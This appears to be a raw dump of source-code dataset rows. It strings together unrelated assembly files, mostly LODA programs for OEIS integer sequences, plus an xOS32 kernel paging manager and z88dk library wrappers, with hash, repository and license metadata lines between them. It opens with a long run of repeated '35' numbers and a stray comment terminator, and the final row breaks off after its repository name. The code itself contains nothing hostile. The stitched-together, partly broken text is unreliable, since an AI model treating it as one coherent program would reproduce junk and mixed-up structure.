35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 */
35.752427
2,999
0.654447
27dae7f11b5152b95bb4e2eda8b5eeb29534d884
265
asm
Assembly
programs/oeis/070/A070599.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/070/A070599.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/070/A070599.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A070599: n^5 mod 14. ; 0,1,4,5,2,3,6,7,8,11,12,9,10,13,0,1,4,5,2,3,6,7,8,11,12,9,10,13,0,1,4,5,2,3,6,7,8,11,12,9,10,13,0,1,4,5,2,3,6,7,8,11,12,9,10,13,0,1,4,5,2,3,6,7,8,11,12,9,10,13,0,1,4,5,2,3,6,7,8,11,12,9,10,13,0,1,4,5,2,3,6,7,8 pow $0,5 mod $0,14 mov $1,$0
37.857143
211
0.554717
b01f27d867dde69b565a05a2c73b5f415fda7308
454
asm
Assembly
oeis/020/A020957.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/020/A020957.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/020/A020957.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A020957: a(n) = Sum_{k >= 1} floor(2*tau^(n-k)). ; Submitted by Christian Krause ; 3,6,11,19,32,54,89,147,240,392,637,1035,1678,2720,4405,7133,11546,18688,30243,48941,79194,128146,207351,335509,542872,878394,1421279,2299687,3720980,6020682,9741677,15762375,25504068,41266460,66770545 lpb $0 sub $0,1 sub $4,2 sub $3,$4 mov $2,$3 add $3,1 add $1,$3 add $4,1 div $5,2 mul $5,2 add $5,1 mov $3,$5 add $5,$2 lpe mov $0,$1 add $0,3
21.619048
202
0.64978
b0de150961630d5b56af6bbfee509fa40bd2bda6
4,222
asm
Assembly
kernel/mm/vmm.asm
leonardoruilova/xos
1e72d2294a7373dbbd601e6796a8a95d0d7056a8
[ "MIT" ]
1
2021-03-21T19:49:05.000Z
2021-03-21T19:49:05.000Z
kernel/mm/vmm.asm
leonardoruilova/xos
1e72d2294a7373dbbd601e6796a8a95d0d7056a8
[ "MIT" ]
null
null
null
kernel/mm/vmm.asm
leonardoruilova/xos
1e72d2294a7373dbbd601e6796a8a95d0d7056a8
[ "MIT" ]
null
null
null
;; xOS32 ;; Copyright (C) 2016-2017 by Omar Mohammad. use32 page_directory = 0x9C000 page_tables = 0x200000 PAGE_PRESENT = 0x01 PAGE_WRITEABLE = 0x02 PAGE_USER = 0x04 PAGE_NO_CACHE = 0x10 ; vmm_init: ; Initializes the virtual memory manager and paging subsystem vmm_init: ; first construct the page directory mov edi, page_directory mov ebx, page_tables mov ecx, 1024 .dir_loop: mov eax, ebx or eax, PAGE_PRESENT OR PAGE_WRITEABLE OR PAGE_USER stosd add ebx, 4096 loop .dir_loop ; clear the page tables mov edi, page_tables mov eax, 0 mov ecx, 1024*1024 rep stosd ; construct the page tables mov edi, page_tables mov ebx, 0 mov ecx, 2048 ; identity map the lowest 8 MB .table_loop: mov eax, ebx or eax, PAGE_PRESENT OR PAGE_WRITEABLE stosd add ebx, 4096 loop .table_loop mov edi, page_tables mov eax, 0 stosd mov eax, VBE_PHYSICAL_BUFFER mov ebx, [screen.framebuffer] mov ecx, 2048 mov dl, PAGE_PRESENT OR PAGE_WRITEABLE call vmm_map_memory ; finally enable paging! mov eax, page_directory mov cr3, eax mov eax, cr0 and eax, 0x1FFFFFFF ; enable caching and eax, not 0x10000 ; disable write-protection or eax, 0x80000000 ; enable paging mov cr0, eax ret ; vmm_map_memory: ; Maps memory into the virtual address space ; In\ EAX = Virtual address ; In\ EBX = Physical address ; In\ ECX = Page count ; In\ DL = Flags ; Out\ Nothing vmm_map_memory: pusha and eax, 0xFFFFF000 mov [.virtual], eax mov [.physical], ebx mov [.count], ecx mov [.flags], dl mov edi, [.virtual] shr edi, 10 add edi, page_tables mov ebx, [.physical] mov ecx, [.count] movzx edx, [.flags] .loop: mov eax, ebx or eax, edx stosd add ebx, 4096 loop .loop ; next we need to flush the TLB mov eax, [.virtual] mov ecx, [.count] .tlb_loop: invlpg [eax] add eax, 4096 loop .tlb_loop popa ret .virtual dd 0 .physical dd 0 .count dd 0 .flags db 0 ; vmm_unmap_memory: ; Unmaps memory from the virtual address space ; In\ EAX = Virtual address ; In\ ECX = Count ; Out\ Nothing vmm_unmap_memory: and eax, 0xFFFFF000 mov ebx, 0 mov dl, 0 call vmm_map_memory ret ; vmm_get_page: ; Gets the physical address and flags of a page ; In\ EAX = Virtual address ; Out\ EAX = 4k-aligned Physical address ; Out\ DL = Page flags vmm_get_page: and eax, 0xFFFFF000 shr eax, 10 add eax, page_tables mov eax, [eax] mov edx, eax and eax, 0xFFFFF000 and edx, 0xFF ret ; vmm_alloc_pages: ; Allocates virtual memory ; In\ EAX = Starting address ; In\ ECX = Page count ; Out\ EAX = Address of free virtual memory, unmapped, 0 on error vmm_alloc_pages: mov [.return], eax mov [.tmp], eax mov [.count], ecx mov [.free_pages], 0 .loop: mov eax, [.tmp] call vmm_get_page test dl, 1 jnz .next add [.tmp], 4096 inc [.free_pages] mov ecx, [.count] cmp [.free_pages], ecx jge .done jmp .loop .next: add [.return], 4096 mov eax, [.return] mov [.tmp], eax mov [.free_pages], 0 jmp .loop .no: mov eax, 0 ret .done: mov eax, [.return] ret .return dd 0 .tmp dd 0 .count dd 0 .free_pages dd 0 ; vmm_alloc: ; Allocates memory ; In\ EAX = Starting address ; In\ ECX = Pages ; In\ DL = Page flags ; Out\ EAX = Memory address, 0 on error vmm_alloc: mov [.count], ecx mov [.flags], dl ; allocate virtual memory call vmm_alloc_pages cmp eax, 0 je .no mov [.return], eax ; and physical memory of course mov ecx, [.count] call pmm_alloc cmp eax, 0 je .no mov [.physical], eax ; now map the memory ;) mov eax, [.return] mov ebx, [.physical] mov ecx, [.count] mov dl, [.flags] call vmm_map_memory ; always initialize memory to zero to be safe! mov edi, [.return] mov eax, 0 mov ecx, [.count] shl ecx, 12 rep stosb mov eax, [.return] ret .no: mov eax, 0 ret .return dd 0 .physical dd 0 .count dd 0 .flags db 0 ; vmm_free: ; Frees virtual memory ; In\ EAX = Address ; In\ ECX = Pages to free ; Out\ Nothing vmm_free: mov [.address], eax mov [.count], ecx ; free the physical memory first call vmm_get_page test dl, 1 jz .quit mov ecx, [.count] call pmm_free mov eax, [.address] mov ecx, [.count] call vmm_unmap_memory .quit: ret .address dd 0 .count dd 0
14.971631
65
0.680246
1067a0ef65d555e6e34b45bc9ce9c693f5613d65
576
asm
Assembly
oeis/086/A086601.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/086/A086601.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/086/A086601.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A086601: Triangular numbers + 1 squared. ; 1,4,16,49,121,256,484,841,1369,2116,3136,4489,6241,8464,11236,14641,18769,23716,29584,36481,44521,53824,64516,76729,90601,106276,123904,143641,165649,190096,217156,247009,279841,315844,355216,398161,444889,495616,550564,609961,674041,743044,817216,896809,982081,1073296,1170724,1274641,1385329,1503076,1628176,1760929,1901641,2050624,2208196,2374681,2550409,2735716,2930944,3136441,3352561,3579664,3818116,4068289,4330561,4605316,4892944,5193841,5508409,5837056,6180196,6538249,6911641,7300804 add $0,1 bin $0,2 add $0,1 pow $0,2
72
495
0.819444
615e00c86a7c63491ed8ee8c47a0262861eb2a7b
420
asm
Assembly
oeis/215/A215990.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/215/A215990.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/215/A215990.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A215990: Numerator of sum( k!/2^k, k=1..n ). ; Submitted by Jon Maiga ; 0,1,1,7,13,7,73,461,1721,7391,35741,95833,140902,7208291,6221977,738064507,5846167507,49265043007,440034922507,4152348777757,41275487330257,431068442131507,4718790944945257,27013799863651691,322866652557800441,502628413904332477 mov $1,1 lpb $0 add $2,$1 mul $2,$0 sub $0,1 mul $1,2 lpe sub $2,$1 add $1,$2 gcd $2,$1 div $1,$2 mov $0,$1
24.705882
230
0.728571
a9f767756bae040dfba062ffaf24e96cfe00b6d4
412
asm
Assembly
oeis/335/A335087.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/335/A335087.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/335/A335087.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A335087: Row sums of A335436. ; Submitted by Jon Maiga ; 1,7,34,150,628,2540,10024,38840,148368,560368,2096928,7786592,28726592,105390272,384788096,1398978432,5067403520,18294707968,65854095872,236421150208,846732997632,3025927678976,10792083499008,38420157773824,136547503083520,484546494459904,1716976084393984 mov $1,1 mov $2,$0 lpb $0 sub $0,1 add $2,$1 add $1,$2 mul $2,2 lpe add $1,$2 mov $0,$1
27.466667
257
0.771845
dd345554e3c96a1a55a373d62c873425f360789a
572
asm
Assembly
programs/oeis/168/A168614.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/168/A168614.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/168/A168614.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A168614: a(n) = 2^n + 5. ; 6,7,9,13,21,37,69,133,261,517,1029,2053,4101,8197,16389,32773,65541,131077,262149,524293,1048581,2097157,4194309,8388613,16777221,33554437,67108869,134217733,268435461,536870917,1073741829,2147483653,4294967301,8589934597,17179869189,34359738373,68719476741,137438953477,274877906949,549755813893,1099511627781,2199023255557,4398046511109,8796093022213,17592186044421,35184372088837,70368744177669,140737488355333,281474976710661,562949953421317,1125899906842629,2251799813685253,4503599627370501,9007199254740997 mov $1,2 pow $1,$0 add $1,5
81.714286
515
0.851399
ad551cb306e054b8a34905a1bce407191a1f68e7
559
asm
Assembly
oeis/134/A134171.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/134/A134171.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/134/A134171.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A134171: a(n) = (9/2)*(n-1)*(n-2)*(n-3). ; 0,0,0,27,108,270,540,945,1512,2268,3240,4455,5940,7722,9828,12285,15120,18360,22032,26163,30780,35910,41580,47817,54648,62100,70200,78975,88452,98658,109620,121365,133920,147312,161568,176715,192780,209790,227772,246753,266760,287820,309960,333207,357588,383130,409860,437805,466992,497448,529200,562275,596700,632502,669708,708345,748440,790020,833112,877743,923940,971730,1021140,1072197,1124928,1179360,1235520,1293435,1353132,1414638,1477980,1543185,1610280,1679292,1750248,1823175,1898100 bin $0,3 mul $0,27
93.166667
495
0.796064
40970c7cd13e95587603d7df49dbafa16a136429
379
asm
Assembly
oeis/134/A134489.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/134/A134489.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/134/A134489.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A134489: a(n) = Fibonacci(5*n + 2). ; Submitted by Jamie Morken(s1) ; 1,13,144,1597,17711,196418,2178309,24157817,267914296,2971215073,32951280099,365435296162,4052739537881,44945570212853,498454011879264,5527939700884757,61305790721611591,679891637638612258 mul $0,5 mov $1,1 mov $2,1 lpb $0 sub $0,2 add $1,$2 add $2,$1 lpe lpb $0 div $0,4 add $2,$1 lpe mov $0,$2
21.055556
190
0.725594
45b8845f24d55aed55b519372adf9d63693f51e2
540
asm
Assembly
lista1/exerc4.asm
Durfan/ufsj-lab-aoc1
8ef39c1074b8418b4ca49e2a8f309a4c58d63158
[ "MIT" ]
null
null
null
lista1/exerc4.asm
Durfan/ufsj-lab-aoc1
8ef39c1074b8418b4ca49e2a8f309a4c58d63158
[ "MIT" ]
null
null
null
lista1/exerc4.asm
Durfan/ufsj-lab-aoc1
8ef39c1074b8418b4ca49e2a8f309a4c58d63158
[ "MIT" ]
null
null
null
.data a: .word 0:2 b: .word 0 c: .word 0 d: .word 0 e: .word 0 .text la $s0,a la $s1,b la $s2,c la $s3,d la $s4,e li $t0,10 sw $t0,0($s0) lw $t0,0($s0) li $t1,5 add $t0,$t0,$t1 sw $t0,4($s0) lw $t0,0($s0) lw $t1,4($s0) add $t2,$t0,$t1 sw $t2,0($s1) sub $t2,$t0,$t1 sw $t2,0($s2) lw $t0,0($s1) lw $t1,0($s2) add $t2,$t0,$t1 sw $t2,0($s3) lw $t0,0($s1) lw $t1,0($s0) add $t0,$t0,$t1 li $t5,2 lw $t1,0($s3) mul $t2,$t5,$t1 lw $t1,0($s2) mul $t3,$t5,$t1 add $t2,$t2,$t3 lw $t1,4($s0) sub $t2,$t2,$t1 sub $t0,$t0,$t2 sw $t0,0($s4)
9.642857
15
0.522222
3c0c1b3ef045313d7a253a9075ee829a7786e5e4
2,940
asm
Assembly
programs/oeis/013/A013964.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/013/A013964.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/013/A013964.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A013964: a(n) = sigma_16(n), the sum of the 16th powers of the divisors of n. ; 1,65537,43046722,4295032833,152587890626,2821153019714,33232930569602,281479271743489,1853020231898563,10000152587956162,45949729863572162,184887084343023426,665416609183179842,2177986570740006274,6568408508343827972,18447025552981295105,48661191875666868482,121441386937936123331,288441413567621167682,655370000156882923458,1430568723474958944644,3011407446068928780994,6132610415680998648962,12116759959504426293058,23283064365539550781251,43609408316038057305154,79766444929892741761924,142736527933249981742466,250246473680347348787522,430473788411329453800964,727423121747185263828482,1208944266640182156001281,1977985247412288784552964,3189108531955579559704834,5070942774935881856350852,7958782736217602010518979,12337511914217166362274242,18903584920981188466375234,28644003789690989734577924,42950328330281631859634114,63759030914653054346432642,93755182430378384355133828,136614025729312093462315202,197355598431523046454794946,282748448472703087370570438,401912888812485608457022594,566977372488557307219621122,794083980706082081584895810,1104427674243953879235868803,1525902189324365539550846787,2094704798860490252155216004,2857986184065286732733752386,3876269050118516845397872322,5227653501370380616851213188,7011372354716994956914353412,9354381094633504036404821378,12416457343132416606522438404,16400403145588924197487829314,21559177407076402401757871042,28211530203893295592643804676,36751693856637464631913392962,47673129129945280635527224834,61581292710752741409475281926,79229371458530977775699951617,101534516782766832929983961092,129631219159659170073247601668,164890958756244164895763202882,209001416798902053900482869506,263988775698124389524242802564,332334376640972889219665787524,416997623116370028124580469122,521586785400758618381603706307,650377879817809571042122834562,808563518322050431884366997954,1002259599051487422485394609222,1238865341669864580899988503106,1527044182248061239445090619524,1877242076364978394235033405188,2301619141096101839813550846722,2814792717453337025705569185730,3433683900058957414550590851205,4178575609053617222702156058754,5072820298953863752478356399682,6144339637187846520573009496452,7425108623655055918743342649732,8953273404221926669239751393474,10772290383998229186693496602884,12933896498808340322191305153218,15496731425178936435099327730562,18530485067555542237005074795206,22113743972844604290554664362884,26339763087347667251520431369346,31313180898223238334521320336004,37157996060782580243252309472514,44012666865465011189263421948932,52041087759553795298747774850882,61425365346268570446197767595522,72380876486926005383481133742211,85145779087472813229810414603206,100001525902844684365543845814083 add $0,1 mov $2,$0 lpb $0 mov $3,$2 mov $4,$0 cmp $4,0 add $0,$4 dif $3,$0 cmp $3,$2 cmp $3,0 mul $3,$0 sub $0,1 pow $3,16 add $1,$3 lpe add $1,1 mov $0,$1
140
2,680
0.92415
cfe03caa5c7291db5aca9934d1c0d0a175a1e0b0
518
asm
Assembly
oeis/328/A328011.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/328/A328011.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/328/A328011.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A328011: The 5x + 1 sequence beginning at 1. ; Submitted by Christian Krause ; 1,6,3,16,8,4,2,1,6,3,16,8,4,2,1,6,3,16,8,4,2,1,6,3,16,8,4,2,1,6,3,16,8,4,2,1,6,3,16,8,4,2,1,6,3,16,8,4,2,1,6,3,16,8,4,2,1,6,3,16,8,4,2,1,6,3,16,8,4,2,1,6,3,16,8,4,2,1,6,3,16,8,4,2,1,6,3,16,8,4,2,1,6,3,16,8,4,2,1,6 add $0,1 mov $1,$0 mov $0,3 lpb $1 mov $2,$0 mod $2,2 add $3,1 sub $3,$2 mov $4,$0 lpb $2 mul $0,5 add $0,3 sub $2,1 lpe lpb $3 div $0,2 sub $3,1 lpe sub $1,1 lpe mov $0,$4 div $0,3
19.185185
215
0.528958
55215721527dbd400171e682081675ed3ea727b0
535
asm
Assembly
libsrc/_DEVELOPMENT/stdio/c/sdcc_iy/vscanf.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/stdio/c/sdcc_iy/vscanf.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/stdio/c/sdcc_iy/vscanf.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; int vscanf(const char *format, void *arg) INCLUDE "clib_cfg.asm" SECTION code_stdio ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IF __CLIB_OPT_MULTITHREAD & $02 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC _vscanf EXTERN asm_vscanf _vscanf: pop af pop de pop bc push bc push de push af jp asm_vscanf ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ELSE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC _vscanf EXTERN _vscanf_unlocked defc _vscanf = _vscanf_unlocked ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
13.04878
43
0.456075
32b8012c8cfaddcd92f76cbd088117d850c7c8ca
330
asm
Assembly
Tareas/Ensamblador/tasm/BIN/macro.asm
TEC-2014092195/IC3101-Arquitectura_De_Computadores
9f96940bd74f8899aadf18d9668f4314d6012b52
[ "MIT" ]
null
null
null
Tareas/Ensamblador/tasm/BIN/macro.asm
TEC-2014092195/IC3101-Arquitectura_De_Computadores
9f96940bd74f8899aadf18d9668f4314d6012b52
[ "MIT" ]
null
null
null
Tareas/Ensamblador/tasm/BIN/macro.asm
TEC-2014092195/IC3101-Arquitectura_De_Computadores
9f96940bd74f8899aadf18d9668f4314d6012b52
[ "MIT" ]
null
null
null
Datos Segment Datos EndS Delay Macro Param, Num mov cx,Num Param: push cx pop cx loop Param EndM Codigo Segment comienceaqui: Assume cs:codigo, ds:datos xor ax,ax mov ax,Datos mov Ds,Ax Delay A,5 mov ax,4c00h int 21h Codigo EndS End comienceaqui
11.37931
28
0.587879
0dc27b0ad55fb89736cb28f205c090aa2e1d36bd
525
asm
Assembly
pwnlib/shellcraft/templates/mips/linux/dupio.asm
tkmikan/pwntools
1238fc359eb72313d3f82849b2effdb7063ab429
[ "MIT" ]
8,966
2015-01-02T11:58:14.000Z
2022-03-31T21:19:56.000Z
pwnlib/shellcraft/templates/mips/linux/dupio.asm
tkmikan/pwntools
1238fc359eb72313d3f82849b2effdb7063ab429
[ "MIT" ]
1,401
2015-01-01T00:56:22.000Z
2022-03-31T16:19:53.000Z
pwnlib/shellcraft/templates/mips/linux/dupio.asm
tkmikan/pwntools
1238fc359eb72313d3f82849b2effdb7063ab429
[ "MIT" ]
1,844
2015-01-07T04:38:06.000Z
2022-03-30T03:54:46.000Z
<% from pwnlib.shellcraft import common %> <% from pwnlib.shellcraft.mips.linux import dup2 %> <% from pwnlib.shellcraft.mips import mov %> <%page args="sock = '$s0'"/> <%docstring> Args: [sock (imm/reg) = s0] Duplicates sock to stdin, stdout and stderr </%docstring> <% dup = common.label("dup") looplabel = common.label("loop") %> /* dup() file descriptor ${sock} into stdin/stdout/stderr */ ${dup}: ${mov('$v0',2)} ${looplabel}: ${dup2(sock,'$v0')} bgtz $v0, ${looplabel} addi $v0, -1
25
64
0.611429
4fce5df1199dd6f48810819bca91d365f8045144
409
asm
Assembly
libsrc/_DEVELOPMENT/temp/sp1/zx/c/sccz80/sp1_CreateSpr_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/temp/sp1/zx/c/sccz80/sp1_CreateSpr_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/temp/sp1/zx/c/sccz80/sp1_CreateSpr_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; struct sp1_ss __CALLEE__ *sp1_CreateSpr_callee(void *drawf, uchar type, uchar height, int graphic, uchar plane) ; 03.2006 aralbrec, Sprite Pack v3.0 ; sinclair zx version SECTION code_clib SECTION code_temp_sp1 PUBLIC sp1_CreateSpr_callee EXTERN asm_sp1_CreateSpr sp1_CreateSpr_callee: pop ix pop bc pop hl pop de ld a,e pop de ld b,e pop de push ix jp asm_sp1_CreateSpr
16.36
113
0.740831
7eb482450a5ef45a15fa24af51082275633657e2
1,938
asm
Assembly
programs/oeis/003/A003261.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/003/A003261.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/003/A003261.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A003261: Woodall (or Riesel) numbers: n*2^n - 1. ; 1,7,23,63,159,383,895,2047,4607,10239,22527,49151,106495,229375,491519,1048575,2228223,4718591,9961471,20971519,44040191,92274687,192937983,402653183,838860799,1744830463,3623878655,7516192767,15569256447,32212254719,66571993087,137438953471,283467841535,584115552255,1202590842879,2473901162495,5085241278463,10445360463871,21440476741631,43980465111039,90159953477631,184717953466367,378231999954943,774056185954303,1583296743997439,3236962232172543,6614661952700415,13510798882111487,27584547717644287,56294995342131199,114841790497947647,234187180623265791,477381560501272575,972777519512027135,1981583836043018239,4035225266123964415,8214565720323784703,16717361816799281151,34011184385901985791,69175290276410818559,140656423562035331071,285924533142498050047,581072438321850875903,1180591620717411303423,2398076729582241710079,4869940435459321626623,9887454823508319666175,20070057552195992158207,40730410914750689968127,82641413450218791239679,167644010141872405086207,340010386766614455386111,689465506498968201199615,1397820478929414983254015,2833419889721787128217599,5742397643169488579854335,11635911013790805806546943,23574053482485268906770431,47752569874777852400893951,96714065569170333976494079,195845982777569926302400511,396527668833598369303625727,802726744224113772004900863,1624796301562061610805100543,3288278229351791355200798719,6653927711158918977582792703,13462597927228510489527975935,27234680864278366047780732927,55088331748199422233011027967,111414603535684224740921180159,225305087149939210031640608767,455561934457019941162877714431,921027389228322924524948422655,1861861819085211933448282832895,3763337719427556035693337640959,7605903601369376408980219232255,15370263527767281493147526365183,31057439705591620336669228531711,62748704711297355374086808666111,126765060022822940149670320537599 add $0,1 mov $1,2 pow $1,$0 mul $1,$0 sub $1,1 mov $0,$1
193.8
1,828
0.923633
d19be5d9313e777e7d4030d8a310d00256026928
590
asm
Assembly
oeis/246/A246057.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/246/A246057.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/246/A246057.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A246057: a(n) = (5*10^n - 2)/3. ; 1,16,166,1666,16666,166666,1666666,16666666,166666666,1666666666,16666666666,166666666666,1666666666666,16666666666666,166666666666666,1666666666666666,16666666666666666,166666666666666666,1666666666666666666,16666666666666666666,166666666666666666666,1666666666666666666666,16666666666666666666666,166666666666666666666666,1666666666666666666666666,16666666666666666666666666,166666666666666666666666666,1666666666666666666666666666,16666666666666666666666666666,166666666666666666666666666666 mov $1,10 pow $1,$0 div $1,9 mul $1,15 add $1,1 mov $0,$1
59
496
0.867797
9b14a722c9c36a56404295b2a832462f7b943622
615
asm
Assembly
libsrc/stdio/osca/getk.asm
grancier/z180
